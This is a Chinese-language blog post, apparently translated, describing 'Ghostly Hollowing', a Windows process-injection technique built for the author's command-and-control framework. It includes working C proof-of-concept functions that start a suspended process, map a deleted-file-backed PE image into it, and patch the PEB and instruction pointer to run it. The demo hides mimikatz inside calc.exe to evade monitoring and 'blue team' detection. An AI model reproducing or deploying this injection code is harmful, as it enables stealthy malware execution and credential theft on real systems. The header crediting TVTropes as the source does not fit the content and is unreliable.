来源:TVTropes
这个标题一点也不夸张。我当时正在研究可以在我的 C2 --- Hydrangea中使用的远程进程注入技术。就在那时,我遇到了 Ghostly Hollowing。
什么是 Ghostly Hollowing?
文件映射对象及其怪异之处
"文件映射对象"是可以在磁盘和内存之间同步数据的东西。
举个例子,假设一个进程想要将文件的内容加载到其内存中,这样当它写入该内存时,文件内容也会得到类似的修改。此外,假设还有第二个进程想要做同样的事情。文件映射对象会为您完成繁重的工作,确保文件的内容和两个进程中的内存保持同步(相同),无论谁读取/写入它。在这种情况下,文件映射对象被称为"由磁盘(文件)支持"。
这是我的问题。按照上述逻辑,如果您创建一个由磁盘上的文件支持的文件映射对象,然后删除该文件,然后尝试从内存中读取其内容,它应该会失败,对吗?毕竟,它是由文件支持的,而现在文件本身已经消失了。所以它失败了,是吗?
不,不是。内容不仅保留,而且您现在还可以将其映射到任何进程的 VA 空间。这就是"幽灵空洞"中的"幽灵"。
流程空心化
顾名思义,就是挖空一个进程,创建一个空间。然后把您自己的可执行映像放入该空间,并让进程执行它。本质上,您只是将一个 EXE 映像注入另一个 EXE 映像中。当进程监控软件查看此内容时,它们仍然会看到原始 EXE,而不知道另一个内部 EXE 正在其中运行。
"挖空"并不总是需要挖空一个进程。其目的是将您自己的 EXE 映像注入进程,并将执行重定向到该进程,对吗?您可以在不删除实际 EXE 映像的情况下实现此目的。这更隐蔽,因为显示原始映像远比不显示任何映像更不可疑。
幽灵 + 空心?
这个想法很简单。
首先,创建一个"幽灵文件映射对象",由当前已删除的 EXE 支持。然后将其映射到目标进程。此映射内存不会显示与文件的链接,因为该文件不存在。这会隐藏 EXE 名称。
其次,劫持目标进程,并将其执行重定向到上面刚刚注入(映射)的内部 EXE 映像。
编写 POC
让我们一步一步地建设性地解决这个问题。以下各节仅提及相关代码。完整的 POC 在最后。
创建新流程
理论上,你可以注入任何进程。在我的演示中,我选择了一个新进程。注入现有进程可能会停止某些重要进程并提醒我们的蓝队伙伴。
理想情况下,我们希望从目标进程捕获 STDOUT 和 STDERR,以防我们注入控制台应用程序。您会注意到,在下面的代码中,我为此设置了一个匿名管道--- 目标进程写入管道,而我的进程从中读取。确保进程使用CREATE_NEW_CONSOLE
标志启动,否则它将获取父级的控制台。
如果注入的 EXE 需要命令行参数,它将查找进程的 PEB,其中包含提供给原始 EXE 的命令行。因此,假设您要启动mimikatz.exe coffee
。您实际上必须启动的是benign_process.exe coffee
。
最后,新进程必须以挂起模式创建,这样我们才能在它启动之前劫持它。我们也可以通过挂起任何线程来劫持正在运行的进程。在这种情况下,我根本不想让原始 EXE 运行。
sql
BOOL CreateLegitProcess(IN PWCHAR imagePath, IN PWCHAR commandLineArgs, OUT PPROCESS_INFORMATION pProcessInformation, IN OUT PHANDLE phStdoutRead, IN OUT PHANDLE phStdoutWrite) { // Initialise BOOL isSuccess = FALSE; DWORD imagePathLen = 0; DWORD commandLineArgsLen = 0; PWCHAR pCommandLine = NULL; // Create startup info STARTUPINFOW startupInfo; RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW)); startupInfo.cb = sizeof(STARTUPINFOW); //// Create anonymous pipe to capture STDOUT from process SECURITY_ATTRIBUTES secAttr; RtlZeroMemory(&secAttr, sizeof(SECURITY_ATTRIBUTES)); secAttr.nLength = sizeof(SECURITY_ATTRIBUTES); secAttr.bInheritHandle = TRUE; secAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(phStdoutRead, phStdoutWrite, &secAttr, 0)) goto CLEANUP; if (*phStdoutRead == NULL || *phStdoutWrite == NULL) goto CLEANUP; startupInfo.hStdOutput = *phStdoutWrite; startupInfo.hStdError = *phStdoutWrite; startupInfo.dwFlags |= STARTF_USESTDHANDLES; // Create process imagePathLen = lstrlenW(imagePath); commandLineArgsLen = lstrlenW(commandLineArgs); pCommandLine = (PWCHAR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, (1 + imagePathLen + 1 + 1 + commandLineArgsLen + 1) * sizeof(WCHAR) // "imagePath" arg1 ); if (pCommandLine == NULL) goto CLEANUP; lstrcatW(pCommandLine, L"""); lstrcatW(pCommandLine, imagePath); lstrcatW(pCommandLine, L"" "); lstrcatW(pCommandLine, commandLineArgs); if(!CreateProcessW( imagePath, pCommandLine, NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, L"C:\Windows\System32", &startupInfo, pProcessInformation )) goto CLEANUP; // If execution reaches here, all went fine isSuccess = TRUE;CLEANUP: // Close write handles; child has already inherited them above if(*phStdoutWrite != NULL) CloseHandle(*phStdoutWrite); if (pCommandLine != NULL) HeapFree(GetProcessHeap(), 0, pCommandLine); return isSuccess;}
创建 Ghost 文件映射对象
现在到了最有趣的部分------创建一个幽灵文件映射对象。
我们将首先创建一个临时的空白文件,并用要注入的 EXE 的内容填充它。除了读/写权限之外,我们还必须使用DELETE
和SYNCHRONIZE
权限打开它,这样我们才能使用相同的文件句柄实际删除它。对于删除,我希望在关闭文件句柄时完成。为此,FILE_FLAG_DELETE_ON_CLOSE
使用了。但这要等待进程关闭。由于我们希望立即删除它,我们还将设置删除的处置信息。
然后我们将创建文件映射对象,由上述临时 EXE 文件支持。该SEC_IMAGE
标志用于指定我们尝试加载的是 PE 映像。这将加载我们的 PE 并将其正确放置在内存中,并使其可执行。如果有东西从内核回调中读取此事件,则此加载不是隐秘的。
然后我们关闭文件句柄。这将删除 EXE 文件,但文件映射对象仍然有效。然后我们用它将 EXE 内容映射到新的目标进程。
vbscript
BOOL CreateGhostSection(IN LPVOID pPePayload, IN DWORD pePayloadSize, IN HANDLE hTargetProcess, OUT VOID **ppPePayloadInTargetBaseAddress) { // Initialise BOOL isSuccess = FALSE; HANDLE hTempFile = NULL; DWORD bytesWritten = 0; HANDLE hFileMapping = NULL; WCHAR tempFile[MAX_PATH] = L""; WCHAR tempDir[MAX_PATH] = L""; // Create temporary file if (GetTempPath2W(MAX_PATH, tempDir) == 0) goto CLEANUP; if (GetTempFileNameW(tempDir, L"", 0, tempFile) == 0) goto CLEANUP; // Open handle to it hTempFile = CreateFileW( tempFile, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL ); if (hTempFile == NULL) goto CLEANUP; // Set file to be deleted FILE_DISPOSITION_INFO fileDispositionInfo; fileDispositionInfo.DeleteFileW = TRUE; if(!SetFileInformationByHandle( hTempFile, FILE_INFO_BY_HANDLE_CLASS::FileDispositionInfo, &fileDispositionInfo, sizeof(FILE_DISPOSITION_INFO) )) goto CLEANUP; // Write PE payload to the file WriteFile( hTempFile, pPePayload, pePayloadSize, &bytesWritten, NULL ); if (bytesWritten != pePayloadSize) goto CLEANUP; if(!FlushFileBuffers(hTempFile)) goto CLEANUP; // Create section backed by the file hFileMapping = CreateFileMappingW( hTempFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL ); if (hFileMapping == NULL) goto CLEANUP; // Close file handle CloseHandle(hTempFile); hTempFile = NULL; // Map PE contents to target process *ppPePayloadInTargetBaseAddress = MapViewOfFile2( hFileMapping, hTargetProcess, 0, NULL, 0, 0, PAGE_READONLY ); if (*ppPePayloadInTargetBaseAddress == NULL) goto CLEANUP; // If execution reaches here, all went well isSuccess = TRUE; // CleanupCLEANUP: if (hFileMapping != NULL) CloseHandle(hFileMapping); //// Return success status return isSuccess;}
劫持新流程
目标现已准备好被劫持。需要做两件事------
- 修补基地址 --- ASLR 会导致模块加载到不可预测的基地址。为了解决这个问题,EXE 包含重定位数据,加载器使用这些数据来正确修补相对于随机基地址的地址。手动重定位非常麻烦。相反,我们将PEB 中的基地址(官方未记录)修补到我们注入 EXE 的地址。我们的 EXE 现在就是基地址!无需重定位。RDX 寄存器将地址存储到 PEB。
- 修补指令指针 --- 我们设置主线程的上下文,以便更新 RIP 寄存器。我们必须使其指向我们注入的 EXE 的入口点地址。为此,我们将解析我们的 EXE 并从 NT 标头中的 Optional 标头中找出入口点 RVA。如果这看起来令人困惑,请阅读我之前关于从头开始编写 PE 加载器的帖子。
scss
BOOL HijackProcessExecution(HANDLE hTargetProcess, HANDLE hTargetThread, LPVOID addressOfEntryPoint, LPVOID addressOfImageBase) { // Get main thread context CONTEXT targetThreadContext; RtlZeroMemory(&targetThreadContext, sizeof(CONTEXT)); targetThreadContext.ContextFlags = CONTEXT_ALL; if(!GetThreadContext(hTargetThread, &targetThreadContext)) return FALSE; // Patch PEB's BaseAddress PPEB_DETAILED pPeb = (PPEB_DETAILED)(targetThreadContext.Rdx); DWORD64 numOfBytesWrittenPatchPeb = 0; if (!WriteProcessMemory( hTargetProcess, &(pPeb->ImageBaseAddress), &addressOfImageBase, sizeof(addressOfImageBase), &numOfBytesWrittenPatchPeb ) || numOfBytesWrittenPatchPeb != sizeof(LPVOID)) return FALSE; // Patch RIP to point to Entry point targetThreadContext.Rip = (DWORD64)addressOfEntryPoint; if(!SetThreadContext(hTargetThread, &targetThreadContext)) return FALSE; // Resume process return (ResumeThread(hTargetThread) == 1);}
演示
进程重影演示
我运行了我的 POC 进行注入和执行mimikatz.exe
(calc.exe
我知道牺牲过程有更好的选择;记住这是一个演示;)
观察 1.4 MB 图像内存(蓝色突出显示)在"使用"列中显示空白。对于其他图像,它显示加载模块的路径。您甚至可以看到原始calc.exe
模块仍在加载。但执行现在已移至此未命名的图像内存。这是 mimikatz!
参考
- 文件映射对象: learn.microsoft.com/en-us/windo...
- 管道: https ://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe
- **PEB (比微软文档更好) **:undocumented.ntinternals.net/index.html?...
公众号:安全狗的自我修养
bilibili:haidragonx